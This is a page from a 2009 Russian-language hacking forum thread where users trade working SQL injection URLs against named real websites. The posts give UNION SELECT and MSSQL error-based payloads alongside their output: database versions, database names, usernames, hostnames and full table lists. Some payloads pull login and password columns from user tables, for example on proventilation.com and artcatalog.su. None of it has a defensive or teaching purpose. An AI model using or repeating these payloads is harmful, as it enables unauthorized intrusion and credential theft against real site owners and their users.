    http://www.raahauges.com/view-results.php?id=9999999999999+union+select+1,2,3,concat_ws(0x3a,version(),database(),user())
    5.1.34-community:raahauges_com_cms:raahauge_cms@raptor13.nextmill.net
    ============================================
    Код:
    http://www.natickwrestling.com/results.php?id=-12+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6
    5.0.67-log:db271766403:dbo271766403@74.208.16.227
    ============================================
    Код:
    http://www.noborder.org/item.php?id=-383+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
    4.1.22:nob:paul@localhost
    ============================================
    Код:
    http://www.deltarescue.org/deltarescue/war/item.php?id=-21+union+select+1,unhex(hex(concat_ws(0x3a,version(),database(),user()))),3,4,5,6,7
    4.1.11-Debian_4sarge8-log:deltarescue:deltarescue@localhost
    ============================================
    Код:
    http://emg-zine.com/item.php?id=-396+union+select+1,2,3,4,5,6,7,8,unhex(hex(concat_ws(0x3a,version(),database(),user()))),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
    4.1.16-standard-log:readly:emgzinefans@sanjay.dreamhost.com
    ============================================
    Код:
    http://namos.cg.yu/pregled.php?id=9999999999999999+union+select+unhex(hex(concat_ws(0x3a,version(),database(),user())))
    4.1.12:namos_co_me_-_emi:namos@localhost
    ============================================
    Код:
    http://www.nybmwcca.org/results.php?id=-30+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6
    4.0.27-log:nybmwcca_org:nybmwcca@localhost
     
    11 авг 2009
    1 человеку нравится это.
  16. z00MAN
    z00MAN Новичок
    Симпатии:
    8
    Код:
    http://sovazs.com/showcontest.phtml?id=-15+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,user(),version(),database()),14,15--
    sovazs@hosting2.colocall.net:5.1.35-log:sovazs


    Код:
    http://www.arpi-sibir.ru/seminar.php?id=-15'+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8/*
    arpi@localhost:5.0.45:arpi_sibir


    Код:
    http://www.izmiran.rssi.ru/catalog?id=-15+union+select+1,2,unhex(hex(concat_ws(0x3a,user(),version(),database()))),4--
    catalog@localhost:4.1.14:catalog


    Код:
    http://www.psychiatry.ru/lib_show.php?id=15+union+select+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6--
    yfilehljv_ncpz@212.193.224.10:4.1.22:yfilehljv_ncpz
     
    14 авг 2009
    1 человеку нравится это.
  17. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    mssqli
    Код:
    http://www.tuoteuutiset.fi/info.cfm/id/38/mag/2+or+1=@@version--
    version()
    db_name() [tuxml]
    system_user [www]
    tables:
    Код:
    bannerJoin
brand
additionalNews
company
companyBrandJoin
companyDescription
companyDigital
companyDigitalLog
companyEmail
companyInfo
companyJoin
companyProductTypeJoin
companySearch
companyUrl
companyWhitePaper
contact
contactCompany
customerEmailFailed
customerEmails
dtproperties
event
eventJoin
expertArticle
holddups
infoBase
infoBaseJoin
infoBaseRows
itemViews
keyaccount
link
linkGroup
linkGroupJoin
linkJoin
magazine
magazineIssues
magazineOrders
news
newsJoin
newsletter
newsProductTypeJoin
nimppari
pdf
picture
product
productClass
productClassJoin
productData
productJoin
productProductTypeJoin
productProductTypeJoinHoldKey
productType
productTypeJoin
rating
spotNews
spotNewsGroup
spotNewsJoin
sysconstraints
    ===================================
    Код:
    http://www.proventilation.com/products/productDetail.asp?id=9+or+1=@@version--
    version()
    db_name() [uniwashInc]
    system_user [uniwashInc]
    tables:
    Код:
    tblRepLogin
D99_Tmp
dtproperties
FORUM_A_REPLY
FORUM_A_TOPICS
FORUM_ALLOWED_MEMBERS
FORUM_BADWORDS
FORUM_CATEGORY
FORUM_CONFIG_NEW
FORUM_FORUM
FORUM_GROUP_NAMES
FORUM_GROUPS
FORUM_MEMBERS
FORUM_MEMBERS_PENDING
FORUM_MODERATOR
FORUM_NAMEFILTER
FORUM_REPLY
FORUM_SUBSCRIPTIONS
FORUM_TOPICS
FORUM_TOTALS
MSysCompactError
sysconstraints
syssegments
tblActualApplication
tblApplication
tblApplicationMachine
tblApplicationType
tblBullets
tblComments
tblCustomer
tblCustomModel
tblDetail
tblDrawings
tblItemList
tblItemListTemp
tblItemXref
tblLinks
tblLogin
tblMemberships
tblMisc
tblModel
tblModel2
tblNewProduct
tblProductAppXref
tblProductHeader
tblProducts
tblProductType
tblProductTypes
tblProductXref
tblProImage
tblQuote
tblQuoteModel
tblQuoteOption
tblRepCustomer
tblRepEmail
tblRepModelXref
tblSalesData
tblSalesData2
tblTestamonials
tblTradeShows
tblUBEmail
    Код:
    http://www.proventilation.com/products/productDetail.asp?id=9+or+1=(select+top+1+cast(id+as+nvarchar)%2B%27%3A%27%2Bcast(firstName+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+tblLogin)--
    id:password:firstName
    Код:
    http://www.proventilation.com/products/productDetail.asp?id=9+or+1=(select+top+1+cast(ID+as+nvarchar)%2B%27%3A%27%2Bcast(userName+as+nvarchar)%2B%27%3A%27%2Bcast(passwords+as+nvarchar)+from+tblRepLogin)--
    ID:userName:passwords
    ===================================
    Код:
    http://www.auspirit.com/au/aspirit/productdetail.asp?ID=40+or+1=@@version--
    version()
    db_name() [vs112407_1]
    system_user [vs112407_1_dbo]
    tables:
    Код:
    tliBannerInstance
tblMMClickThru
tliSeminarDate
AusSpirit
dtproperties
SASImport
SASImportold
sysconstraints
syssegments
tblMMAccountFields
tblMMAccounts
tblMMAdminRights
tblMMAdminSections
tblMMClient
tblMMFieldContent
tblMMFieldTypes
tblMMImailHistory
tblMMScheduleSend
tblMMStat
tblMMTemplates
tblMMUsers
tblREmailAdministrators
tblREmailMemberVariants
tblREmailServiceMembers
tblRVariantContent
tblRVariantTypes
tldImail1_1ContentFolder
tldImail1_1DataBase
tldImail1_1EmailContent
tldImail1_1MailQue
tldImail1_1Members
tldImail2_2ContentFolder
tldImail2_2DataBase
tldImail2_2EmailContent
tldImail2_2MailQue
tldImail2_2Members
tliAdministrator
tliAdvertisement
tliAffiliate
tliAffiliateReference
tliAPTMSCompany
tliAPTMSLocation
tliAPTMSProduct
tliAuctionBids
tliAuctionCategory
tliAuctionClient
tliAuctioneerPermission
tliAuctionFeedback
tliAuctionIncrement
tliAuctionItem
tliAuctionMessage
tliAuctionOrder
tliBanner
tliBannerPosition
tliBannerTemplate
tliBannerType
tliBidType
tliBlog
tliBlogComment
tliBranchDomain
tliBrand
tliCartCustomer
tliCartOrder
tliCartPayment
tliCategory
tliContentItem
tliContentType
tliCourse
tliCruiseBooking
tliCruiseCrew
tliCruiseDate
tliCruiseSchedule
tliCurrencyConverter
tliDataPage
tliDataPageState
tliEMailClickThrough
tliEMailContent
tliEMailContentInstance
tliEMailDump
tliEMailQue
tliEMailTemplate
tliEvent
tliExchangeRates
tliForum
tliForumComment
tliForumThread
tliForumTopic
tliForumUser
tliGeneralPage
tliGeneralPageCategory
tliGMTDestination
tliGMTProduct
tliImailEmail
tliImailEmailPart
tliIndigoMenuItem
tliIndigoSummaryItem
tliIndigoSummaryItemButton
tliIndigoSummaryItemEntry
tliItinerary
tliLawFirm
tliMember
tliMemberExpertise
tliMemberGroup
    ===================================
    Код:
    http://www.chemdot.com/productdetail.cfm?id=288+or+1=@@version--
    version()
    db_name() [chemdot]
    system_user [NT AUTHORITY\SYSTEM]
    tables:
    Код:
    REFERENTIAL_CONSTRAINTS
CHECK_CONSTRAINTS
admin
    ===================================
    Код:
    http://www.sooknet.com/technology/news.cfm?ID=5620+or+1=@@version--
    version()
    db_name() [sooknet2]
    system_user [itssook]
     
    17 авг 2009
    1 человеку нравится это.
  18. x45x50
    x45x50 Новичок
    Симпатии:
    1
    PR=1
    Код:
    http://artcatalog.su/kom.php?id=0/**/uniON/**/alL/**/seLECT/**/1,coNCAT(0x3a,0x3a,login,0x3a,password,0x3a,email,0x3a,0x3a,url),3,4,coNCAT_WS(chAR(32,32,32),user(),database(),version()),6+from+users/*
     
    20 авг 2009
    1 человеку нравится это.
  19. NARKOZ
    NARKOZ Guest
    SQL/DB Hiba
    Код:
    http://www.ofa-pertu.hu/kep_ugrik.dw?kep=feltoltes/kep/321.pict
    Добавлено через 1 минуту
    SQL/DB Hiba
    Код:
    http://www.ofa-pertu.hu/kep_ugrik.dw?kep=feltoltes/kep/321.pict
     
    Последнее редактирование модератором: 20 авг 2009
    20 авг 2009
  20. levsal
    levsal Guest
    :)
    Код:
    http://enconsult.net/news.php?id=-10%20union%20select%201,group_concat(table_name),3,4,5,6,7,8%20from%20information_schema.tables%20where%20table_schema=database()--'
http://alohau.com/news.php?id=-10%20union%20select%201,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14%20from%20information_schema.tables%20where%20table_schema=database()--'
http://www.es-ventures.com/news.php?comando=detalhe'&id=10'&idPai=8'&ref=P'
     
    31 авг 2009
    1 человеку нравится это.
Страница 17 из 20
Загрузка...